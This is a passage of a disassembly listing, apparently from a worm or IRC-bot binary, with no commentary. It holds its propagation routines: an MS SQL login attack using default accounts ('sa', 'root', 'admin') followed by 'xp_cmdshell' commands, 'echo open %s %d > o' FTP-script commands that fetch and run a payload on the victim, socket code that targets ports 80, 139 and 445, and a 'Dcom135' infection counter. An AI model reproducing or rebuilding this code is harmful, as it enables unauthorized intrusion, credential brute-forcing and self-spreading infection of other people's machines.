lea edi, [ebp-10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40472A: ; CODE XREF: sub_40467C+94j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
and dl, 3
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
add [ebp+0Ch], ebx
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and dl, 0Fh
sub [ebp+10h], ebx
and cl, 3
xor esi, esi
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_404798
add [ebp-18h], eax
loc_40477C: ; CODE XREF: sub_40467C+11Aj
movsx eax, byte ptr [ebp+esi-14h]
lea ecx, [ebp-38h]
mov al, byte_426208[eax]
push eax
push 1
call sub_404ADF
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40477C
loc_404798: ; CODE XREF: sub_40467C+FBj
cmp dword ptr [ebp-18h], 48h
jb short loc_4047B6
push dword ptr [ebp+14h]
call sub_415B10
pop ecx
push eax
lea ecx, [ebp-38h]
push dword ptr [ebp+14h]
call sub_404B39
mov [ebp-18h], edi
loc_4047B6: ; CODE XREF: sub_40467C+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_4047D0
sub esi, [ebp-1Ch]
loc_4047C1: ; CODE XREF: sub_40467C+152j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_404ADF
dec esi
jnz short loc_4047C1
loc_4047D0: ; CODE XREF: sub_40467C+140j
cmp [ebp+10h], edi
ja loc_4046CD
xor ebx, ebx
inc ebx
loc_4047DC: ; CODE XREF: sub_40467C+48j
mov esi, [ebp+8]
mov al, [ebp-38h]
push edi
mov ecx, esi
mov [esi], al
call sub_404CE4
push 0FFFFFFFFh
lea eax, [ebp-38h]
push edi
push eax
mov ecx, esi
call sub_404B91
mov [ebp-20h], ebx
and byte ptr [ebp-4], 0
push ebx
lea ecx, [ebp-38h]
call sub_404CE4
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40467C endp
; =============== S U B R O U T I N E =======================================
sub_40481B proc near ; CODE XREF: .text:00404A16p
mov eax, offset loc_420B80
call sub_4162F0
sub esp, 10h
push ebx
push esi
push edi
push offset byte_43B658
lea eax, [ebp-1Ch]
push dword ptr [ebp+10h]
xor ebx, ebx
mov [ebp-4], ebx
push dword ptr [ebp+0Ch]
push eax
call sub_40467C
mov eax, [ebp+1Ch]
mov ecx, [ebp-14h]
mov byte ptr [ebp-4], 1
lea esi, [ecx+eax+36h]
push esi
call sub_415BE9
mov edi, eax
add esp, 14h
cmp edi, ebx
jnz short loc_404865
xor bl, bl
jmp short loc_4048A9
; ---------------------------------------------------------------------------
loc_404865: ; CODE XREF: sub_40481B+44j
mov ecx, [ebp-18h]
mov eax, offset dword_421258
cmp ecx, ebx
jnz short loc_404873
mov ecx, eax
loc_404873: ; CODE XREF: sub_40481B+54j
cmp [ebp+18h], ebx
jz short loc_40487B
mov eax, [ebp+18h]
loc_40487B: ; CODE XREF: sub_40481B+5Bj
push ecx
push eax
push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
push esi
push edi
call sub_41588A
add esp, 14h
push ebx
push esi
push edi
push dword ptr [ebp+8]
call dword_43CA74 ; send
cmp eax, esi
jz short loc_4048A0
xor bl, bl
jmp short loc_4048A2
; ---------------------------------------------------------------------------
loc_4048A0: ; CODE XREF: sub_40481B+7Fj
mov bl, 1
loc_4048A2: ; CODE XREF: sub_40481B+83j
push edi
call sub_415C9B
pop ecx
loc_4048A9: ; CODE XREF: sub_40481B+48j
and byte ptr [ebp-4], 0
push 1
lea ecx, [ebp-1Ch]
call sub_404CE4
or dword ptr [ebp-4], 0FFFFFFFFh
push 1
lea ecx, [ebp+14h]
call sub_404CE4
mov ecx, [ebp-0Ch]
pop edi
mov al, bl
pop esi
pop ebx
mov large fs:0, ecx
leave
retn
sub_40481B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 620h
and byte ptr [ebp-420h], 0
push ebx
push esi
push edi
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp-41Fh]
push 8Fh
rep stosd
stosw
stosb
lea eax, [ebp-420h]
push offset sub_4263B8
push eax
call sub_4153F0
add esp, 0Ch
mov eax, offset byte_42C2B4
push eax
push eax
push dword_43B670
push dword ptr [ebp+8]
call sub_40A08A
pop ecx
push eax
push offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
lea eax, [ebp-391h]
push 400h
push eax
call sub_41588A
add eax, 90h
push eax
lea eax, [ebp-420h]
push eax
push 164h
lea eax, [ebp-8]
push offset sub_426250
push eax
call sub_4040E5
xor esi, esi
add esp, 30h
cmp [ebp-4], esi
jnz short loc_404972
xor eax, eax
jmp loc_404AD2
; ---------------------------------------------------------------------------
loc_404972: ; CODE XREF: .text:00404969j
mov [ebp-0Ch], esi
loc_404975: ; CODE XREF: .text:00404A75j
test esi, esi
jnz loc_404A7B
push 6
push 1
push 2
call dword_4211E4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_404A63
xor eax, eax
lea edi, [ebp-1Ah]
stosd
push dword ptr [ebp+0A8h]
stosd
stosd
stosw
mov word ptr [ebp-1Ch], 2
call dword_43CA24 ; ntohs
mov [ebp-1Ah], ax
lea eax, [ebp+0Ch]
push eax
call dword_43CA64 ; inet_addr
mov [ebp-18h], eax
lea eax, [ebp-1Ch]
push 10h
push eax
push ebx
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jz loc_404A58
cmp dword ptr [ebp+0A8h], 50h
jnz short loc_404A20
mov al, [ebp+0C3h]
sub esp, 10h
mov esi, esp
mov [ebp-20h], esp
push 0
mov ecx, esi
mov [esi], al
call sub_404CE4
lea eax, [ebp+0Ch]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+0Ch]
push eax
mov ecx, esi
call sub_404D1C
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_40481B
add esp, 1Ch
jmp short loc_404A55
; ---------------------------------------------------------------------------
loc_404A20: ; CODE XREF: .text:004049DEj
cmp dword ptr [ebp+0A8h], 8Bh
jnz short loc_404A3A
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4045DE
jmp short loc_404A52
; ---------------------------------------------------------------------------
loc_404A3A: ; CODE XREF: .text:00404A2Aj
cmp dword ptr [ebp+0A8h], 1BDh
jnz short loc_404A58
push dword ptr [ebp-4]
push dword ptr [ebp-8]
push ebx
call sub_4044FF
loc_404A52: ; CODE XREF: .text:00404A38j
add esp, 0Ch
loc_404A55: ; CODE XREF: .text:00404A1Ej
movzx esi, al
loc_404A58: ; CODE XREF: .text:004049D1j
; .text:00404A44j
push ebx
call dword_43CABC ; closesocket
test esi, esi
jnz short loc_404A6E
loc_404A63: ; CODE XREF: .text:0040498Ej
push 3E8h
call dword_421060 ; Sleep
loc_404A6E: ; CODE XREF: .text:00404A61j
inc dword ptr [ebp-0Ch]
cmp dword ptr [ebp-0Ch], 2
jl loc_404975
loc_404A7B: ; CODE XREF: .text:00404977j
lea ecx, [ebp-8]
call sub_403F12
test esi, esi
jz short loc_404AD0
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset dword_42647C
lea eax, [ebp-620h]
push 200h
push eax
call sub_41588A
lea eax, [ebp-620h]
push eax
call sub_40B078
mov eax, [ebp+0B0h]
add esp, 18h
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_404AD0: ; CODE XREF: .text:00404A85j
mov eax, esi
loc_404AD2: ; CODE XREF: .text:0040496Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_420B44
loc_404AD7: ; CODE XREF: sub_420B44+3j
; .text:00420B5Dj ...
push 1
call sub_404CE4
retn
; END OF FUNCTION CHUNK FOR sub_420B44
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404ADF proc near ; CODE XREF: sub_40467C+111p
; sub_40467C+14Cp
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_0]
ja short loc_404AF6
call sub_4206B0
loc_404AF6: ; CODE XREF: sub_404ADF+10j
cmp [ebp+arg_0], 0
jbe short loc_404B31
mov edi, [esi+8]
push 0
add edi, [ebp+arg_0]
mov ecx, esi
push edi
call sub_404C5E
test al, al
jz short loc_404B31
movsx eax, [ebp+arg_4]
push [ebp+arg_0]
push eax
mov eax, [esi+4]
add eax, [esi+8]
push eax
call sub_415390
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404B31: ; CODE XREF: sub_404ADF+1Bj
; sub_404ADF+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_404ADF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404B39 proc near ; CODE XREF: sub_40467C+132p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, ecx
or eax, 0FFFFFFFFh
push edi
sub eax, [esi+8]
cmp eax, [ebp+arg_4]
ja short loc_404B50
call sub_4206B0
loc_404B50: ; CODE XREF: sub_404B39+10j
cmp [ebp+arg_4], 0
jbe short loc_404B89
mov edi, [esi+8]
push 0
add edi, [ebp+arg_4]
mov ecx, esi
push edi
call sub_404C5E
test al, al
jz short loc_404B89
push [ebp+arg_4]
mov eax, [esi+8]
add eax, [esi+4]
push [ebp+arg_0]
push eax
call sub_4153F0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404B89: ; CODE XREF: sub_404B39+1Bj
; sub_404B39+2Fj
mov eax, esi
pop edi
pop esi
pop ebp
retn 8
sub_404B39 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404B91 proc near ; CODE XREF: sub_40467C+179p
; sub_42070A+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, ecx
cmp [ebx+8], eax
jnb short loc_404BA9
call sub_4208DC
loc_404BA9: ; CODE XREF: sub_404B91+11j
mov eax, [ebx+8]
mov ecx, [ebp+arg_4]
mov esi, eax
sub esi, ecx
cmp [ebp+arg_8], esi
jnb short loc_404BBB
mov esi, [ebp+arg_8]
loc_404BBB: ; CODE XREF: sub_404B91+25j
cmp edi, ebx
jnz short loc_404BD9
add esi, ecx
push 0FFFFFFFFh
push esi
mov ecx, edi
call sub_404D51
push [ebp+arg_4]
mov ecx, edi
push 0
call sub_404D51
jmp short loc_404C55
; ---------------------------------------------------------------------------
loc_404BD9: ; CODE XREF: sub_404B91+2Cj
test esi, esi
jbe short loc_404C1C
cmp esi, eax
jnz short loc_404C1C
mov eax, [ebx+4]
test eax, eax
jnz short loc_404BED
mov eax, offset dword_421258
loc_404BED: ; CODE XREF: sub_404B91+55j
cmp byte ptr [eax-1], 0FEh
jnb short loc_404C1C
push 1
mov ecx, edi
call sub_404CE4
mov eax, [ebx+4]
test eax, eax
jnz short loc_404C08
mov eax, offset dword_421258
loc_404C08: ; CODE XREF: sub_404B91+70j
mov [edi+4], eax
mov ecx, [ebx+8]
mov [edi+8], ecx
mov ecx, [ebx+0Ch]
mov [edi+0Ch], ecx
inc byte ptr [eax-1]
jmp short loc_404C55
; ---------------------------------------------------------------------------
loc_404C1C: ; CODE XREF: sub_404B91+4Aj
; sub_404B91+4Ej ...
push 1
push esi
mov ecx, edi
call sub_404C5E
test al, al
jz short loc_404C55
mov eax, [ebp+arg_0]
mov eax, [eax+4]
test eax, eax
jnz short loc_404C39
mov eax, offset dword_421258
loc_404C39: ; CODE XREF: sub_404B91+A1j
mov ecx, [ebp+arg_4]
push esi
add eax, ecx
push eax
push dword ptr [edi+4]
call sub_4153F0
mov eax, [edi+4]
add esp, 0Ch
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404C55: ; CODE XREF: sub_404B91+46j
; sub_404B91+89j ...
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_404B91 endp
; =============== S U B R O U T I N E =======================================
sub_404C5E proc near ; CODE XREF: sub_40467C+3Dp
; sub_404ADF+28p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
cmp edi, 0FFFFFFFDh
jbe short loc_404C70
call sub_4206B0
loc_404C70: ; CODE XREF: sub_404C5E+Bj
mov eax, [esi+4]
xor edx, edx
cmp eax, edx
jz short loc_404C98
mov cl, [eax-1]
cmp cl, dl
jz short loc_404C98
cmp cl, 0FFh
jz short loc_404C98
cmp edi, edx
mov ecx, esi
jnz short loc_404CD7
dec byte ptr [eax-1]
push edx
loc_404C8F: ; CODE XREF: sub_404C5E+48j
call sub_404CE4
loc_404C94: ; CODE XREF: sub_404C5E+4Cj
; sub_404C5E+53j
xor al, al
jmp short loc_404CDF
; ---------------------------------------------------------------------------
loc_404C98: ; CODE XREF: sub_404C5E+19j
; sub_404C5E+20j ...
cmp edi, edx
jnz short loc_404CB3
cmp [esp+8+arg_4], dl
jz short loc_404CA8
push 1
mov ecx, esi
jmp short loc_404C8F
; ---------------------------------------------------------------------------
loc_404CA8: ; CODE XREF: sub_404C5E+42j
cmp eax, edx
jz short loc_404C94
mov [esi+8], edx
mov [eax], dl
jmp short loc_404C94
; ---------------------------------------------------------------------------
loc_404CB3: ; CODE XREF: sub_404C5E+3Cj
cmp [esp+8+arg_4], dl
jz short loc_404CD0
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404CC5
cmp eax, edi
jnb short loc_404CDD
loc_404CC5: ; CODE XREF: sub_404C5E+61j
push 1
mov ecx, esi
call sub_404CE4
jmp short loc_404CD5
; ---------------------------------------------------------------------------
loc_404CD0: ; CODE XREF: sub_404C5E+59j
cmp [esi+0Ch], edi
jnb short loc_404CDD
loc_404CD5: ; CODE XREF: sub_404C5E+70j
mov ecx, esi
loc_404CD7: ; CODE XREF: sub_404C5E+2Bj
push edi
call sub_404DB8
loc_404CDD: ; CODE XREF: sub_404C5E+65j
; sub_404C5E+75j
mov al, 1
loc_404CDF: ; CODE XREF: sub_404C5E+38j
pop edi
pop esi
retn 8
sub_404C5E endp
; =============== S U B R O U T I N E =======================================
sub_404CE4 proc near ; CODE XREF: sub_40467C+1Fp
; sub_40467C+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404D0C
mov eax, [esi+4]
test eax, eax
jz short loc_404D0C
dec eax
mov cl, [eax]
test cl, cl
jz short loc_404D05
cmp cl, 0FFh
jz short loc_404D05
dec byte ptr [eax]
jmp short loc_404D0C
; ---------------------------------------------------------------------------
loc_404D05: ; CODE XREF: sub_404CE4+16j
; sub_404CE4+1Bj
push eax
call sub_41630F
pop ecx
loc_404D0C: ; CODE XREF: sub_404CE4+8j
; sub_404CE4+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404CE4 endp
; =============== S U B R O U T I N E =======================================
sub_404D1C proc near ; CODE XREF: .text:00404A0Ap
; sub_404E75+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_404C5E
test al, al
jz short loc_404D4A
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_4153F0
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404D4A: ; CODE XREF: sub_404D1C+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_404D1C endp
; =============== S U B R O U T I N E =======================================
sub_404D51 proc near ; CODE XREF: sub_404B91+35p
; sub_404B91+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_404D64
call sub_4208DC
loc_404D64: ; CODE XREF: sub_404D51+Cj
mov ecx, edi
call sub_404E75
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404D7A
mov ebx, eax
loc_404D7A: ; CODE XREF: sub_404D51+25j
test ebx, ebx
jbe short loc_404DB0
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_416320
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_404C5E
test al, al
jz short loc_404DB0
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404DB0: ; CODE XREF: sub_404D51+2Bj
; sub_404D51+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_404D51 endp
; =============== S U B R O U T I N E =======================================
sub_404DB8 proc near ; CODE XREF: sub_404C5E+7Ap
mov eax, offset loc_420B8C
call sub_4162F0
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404DDE
mov edi, [ebp+8]
loc_404DDE: ; CODE XREF: sub_404DB8+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404DEB
xor eax, eax
loc_404DEB: ; CODE XREF: sub_404DB8+2Fj
push eax
call sub_416655
pop ecx
mov [ebp+8], eax
jmp short loc_404E1C
; ---------------------------------------------------------------------------
loc_404DF7: ; DATA XREF: .text:00421F04o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_404E06
xor eax, eax
loc_404E06: ; CODE XREF: sub_404DB8+4Aj
push eax
call sub_416655
mov [ebp+8], eax
pop ecx
mov eax, offset loc_404E16
retn
; ---------------------------------------------------------------------------
loc_404E16: ; DATA XREF: sub_404DB8+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_404E1C: ; CODE XREF: sub_404DB8+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_404E3A
cmp eax, edi
jbe short loc_404E29
mov eax, edi
loc_404E29: ; CODE XREF: sub_404DB8+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_4153F0
add esp, 0Ch
loc_404E3A: ; CODE XREF: sub_404DB8+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404CE4
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_404E5A
mov edi, ebx
loc_404E5A: ; CODE XREF: sub_404DB8+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_404DB8 endp
; =============== S U B R O U T I N E =======================================
sub_404E75 proc near ; CODE XREF: sub_404D51+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404EA2
mov al, [esi-1]
test al, al
jz short loc_404EA2
cmp al, 0FFh
jz short loc_404EA2
push 1
call sub_404CE4
push esi
call sub_415B10
pop ecx
push eax
push esi
mov ecx, edi
call sub_404D1C
loc_404EA2: ; CODE XREF: sub_404E75+9j
; sub_404E75+10j ...
pop edi
pop esi
retn
sub_404E75 endp
; =============== S U B R O U T I N E =======================================
sub_404EA5 proc near ; DATA XREF: .text:00423008o
test byte_46BDF4, 1
jnz short loc_404EB5
or byte_46BDF4, 1
loc_404EB5: ; CODE XREF: sub_404EA5+7j
jmp $+5
push offset nullsub_1
call sub_4166D0
pop ecx
retn
sub_404EA5 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404EC7 proc near ; CODE XREF: .text:00405120p
var_E2C = byte ptr -0E2Ch
var_A2C = byte ptr -0A2Ch
var_62C = byte ptr -62Ch
var_22C = byte ptr -22Ch
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
sub esp, 0E2Ch
mov al, byte_43B658
push esi
mov [ebp+var_1], al
lea eax, [ebp+var_14]
xor esi, esi
push eax
push esi
push 1
mov [ebp+var_2C], offset aSa ; "sa"
mov [ebp+var_28], offset aRoot ; "root"
mov [ebp+var_24], offset aAdmin ; "admin"
mov [ebp+var_20], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
mov [ebp+var_8], esi
call dword_43C9A8
test ax, ax
jnz short loc_404F25
push 0FFFFFFFAh
push 3
push 0C8h
push [ebp+var_14]
call dword_43CAAC
test ax, ax
jz short loc_404F2C
loc_404F25: ; CODE XREF: sub_404EC7+45j
xor eax, eax
jmp loc_4050FC
; ---------------------------------------------------------------------------
loc_404F2C: ; CODE XREF: sub_404EC7+5Cj
lea eax, [ebp+var_10]
push eax
push [ebp+var_14]
push 2
call dword_43C9A8
test ax, ax
jnz loc_4050EF
push ebx
lea eax, [ebp+var_2C]
push edi
mov edi, dword_421060
mov [ebp+var_C], eax
mov ebx, offset byte_42C2B4
loc_404F57: ; CODE XREF: sub_404EC7+1C4j
cmp off_42C440, esi
jz loc_405082
mov eax, offset off_42C440
mov esi, eax
loc_404F6A: ; CODE XREF: sub_404EC7+118j
lea ecx, [ebp+var_1]
push ecx
push dword ptr [eax]
mov eax, [ebp+var_C]
push dword ptr [eax]
lea eax, [ebp+arg_4]
push [ebp+arg_A0]
push eax
lea eax, [ebp+var_A2C]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_415316
add esp, 1Ch
lea eax, [ebp+var_1A]
push 0
push eax
lea eax, [ebp+var_E2C]
push 400h
push eax
lea eax, [ebp+var_A2C]
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_A2C]
push eax
push 0
push [ebp+var_10]
call dword_43CA60
test ax, ax
jz short loc_404FE6
cmp ax, 1
jz short loc_404FE6
push 1F4h
call edi ; Sleep
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_404F6A
jmp loc_405080
; ---------------------------------------------------------------------------
loc_404FE6: ; CODE XREF: sub_404EC7+101j
; sub_404EC7+107j
lea eax, [ebp+var_8]
push eax
push [ebp+var_10]
push 3
call dword_43C9A8
push ebx
push ebx
call sub_415372
push eax
call sub_415372
push eax
push dword_43B670
push [ebp+arg_0]
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_62C]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_415316
add esp, 20h
lea eax, [ebp+var_62C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43C9E8
test ax, ax
jz short loc_405075
mov esi, 1388h
push esi
call edi ; Sleep
push ebx
lea eax, [ebp+var_62C]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_62C]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_43C9E8
test ax, ax
jz short loc_405093
push esi
call edi ; Sleep
loc_405075: ; CODE XREF: sub_404EC7+175j
push [ebp+var_8]
push 3
call dword_43CA40
loc_405080: ; CODE XREF: sub_404EC7+11Aj
xor esi, esi
loc_405082: ; CODE XREF: sub_404EC7+96j
add [ebp+var_C], 4
mov eax, [ebp+var_C]
cmp [eax], esi
jnz loc_404F57
jmp short loc_4050DF
; ---------------------------------------------------------------------------
loc_405093: ; CODE XREF: sub_404EC7+1A9j
cmp [ebp+arg_B4], 0
mov [ebp+var_18], 1
jnz short loc_4050C1
push 0
lea eax, [ebp+var_22C]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4050C1: ; CODE XREF: sub_404EC7+1DAj
lea eax, [ebp+var_22C]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_4050DF: ; CODE XREF: sub_404EC7+1CAj
push [ebp+var_10]
push 2
call dword_43CA40
mov esi, [ebp+var_18]
pop edi
pop ebx
loc_4050EF: ; CODE XREF: sub_404EC7+77j
push [ebp+var_14]
push 1
call dword_43CA40
mov eax, esi
loc_4050FC: ; CODE XREF: sub_404EC7+60j
pop esi
leave
retn
sub_404EC7 endp
; ---------------------------------------------------------------------------
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C8h]
mov dword ptr [esp+168h], 599h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404EC7
push 2Fh
lea esi, [esp+0CCh]
pop ecx
mov dword ptr [esp+168h], 1BDh
mov edi, esp
rep movsd
call sub_403C74
add esp, 0BCh
xor eax, eax
inc eax
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40514F proc near ; CODE XREF: .text:0040534Dp
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43CA64 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_426744
push eax
call dword_43CA24 ; ntohs
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_43CAA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_405268
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jz loc_405268
push esi
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43CA3C ; recv
mov esi, offset byte_42C2B4
push esi
push esi
push dword_43B670
push [ebp+arg_0]
call sub_40A08A
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_405268
push 1F4h
call dword_421060 ; Sleep
push esi
push offset dword_425090
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40526C
loc_405268: ; CODE XREF: sub_40514F+51j
; sub_40514F+67j ...
xor al, al
jmp short loc_40528A
; ---------------------------------------------------------------------------
loc_40526C: ; CODE XREF: sub_40514F+117j
push 0
lea eax, [ebp+var_5A0]
push 400h
push eax
push ebx
call dword_43CA3C ; recv
push ebx
call dword_43CABC ; closesocket
mov al, 1
loc_40528A: ; CODE XREF: sub_40514F+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_40514F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call dword_4211CC ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_4052B9
lea eax, [ebp+0Ch]
push eax
call dword_4211DC ; inet_addr
mov ebx, eax
jmp short loc_4052BF
; ---------------------------------------------------------------------------
loc_4052B9: ; CODE XREF: .text:004052A9j
mov ebx, [ebp+0C0h]
loc_4052BF: ; CODE XREF: .text:004052B7j
push 11h
push 2
push 2
call dword_4211E4 ; socket
test esi, esi
mov edi, eax
jz short loc_4052E9
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_4153F0
add esp, 0Ch
jmp short loc_4052EC
; ---------------------------------------------------------------------------
loc_4052E9: ; CODE XREF: .text:004052CFj
mov [ebp-0Ch], ebx
loc_4052EC: ; CODE XREF: .text:004052E7j
test esi, esi
jz short loc_4052FA
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_405300
; ---------------------------------------------------------------------------
